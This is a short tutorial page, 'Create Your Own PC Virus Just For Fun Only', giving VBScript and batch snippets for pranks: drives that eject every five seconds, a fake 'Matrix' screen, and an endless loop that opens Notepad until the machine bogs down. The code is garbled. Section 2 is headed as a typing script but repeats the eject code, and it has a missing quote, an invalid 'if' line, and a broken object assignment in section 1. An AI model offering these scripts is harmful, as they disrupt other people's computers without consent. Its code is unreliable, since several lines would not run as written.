Create Your Own PC Virus Just For Fun Only.

 

1. Eject CD/DVD drives automaticaly.

====================================

 code // (save as ".vbs" as the extention)

 -----

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs.Collection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to ColCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

2. Type a message automatically and automatically.

==================================================

 code // (save as extention ".vbs" )

 ----

Set oWMP = CreateObject(WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if i = 0 to colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

End if

wscript.sleep 5000

loop

3. Matrix code falling effect

==============================

code // (save as extention ".bat")

@echo off

color 02

:geeks

echo %random%

goto geeks

4. Open Note pad Continuesly

============================

 code// (save with extention ".bat")

@echo off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top